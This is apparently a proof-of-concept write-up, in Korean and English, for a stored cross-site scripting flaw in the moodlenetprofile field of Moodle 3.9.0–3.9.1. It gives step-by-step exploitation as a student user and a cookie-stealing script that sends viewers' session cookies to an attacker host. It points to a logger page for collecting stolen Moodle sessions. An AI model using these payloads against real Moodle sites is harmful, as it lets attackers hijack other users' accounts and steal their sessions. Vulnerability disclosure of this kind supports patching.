
사용자 프로필의 moodlenetprofile 매개변수를 통한 저장형 XSS
사용자 프로필의 moodlenetprofile 매개변수를 통한 저장형 XSS
이 CVE에 대한 나의 PoC
사용자 요구 사항: 학생 (또는 등록이 가능한 사이트)
moodlenetprofile의 XSS
Step 1: Log in with an authenticated user (Can register or through creating a new user without assigning roles )
Step 2: Quick access to Edit profile
domain/moodle/user/edit.php?id=<your user_id>&returnto=profile
In MoodleNet profile, add the script as:
<script>alert("HK")</script>
And save:
Step 3: Anytime, the other user goes to view your profile, the stored XSS will trigger.
Steal cookie via script:
<script>var i=new Image;i.src="http://192.168.0.238/xss.php?"+document.cookie;</script>
Change your domain and upload xss.php to your host:
https://github.com/HoangKien1020/pentest/tree/master/XSS
Done. You can view log.txt to get Moodle session.

영향받는 버전: 3.9.0 , 3.9.1
출처
https://moodle.org/mod/forum/discuss.php?d=410839
XSS의 영향(쿠키 탈취 등)은 여기를 참조하세요: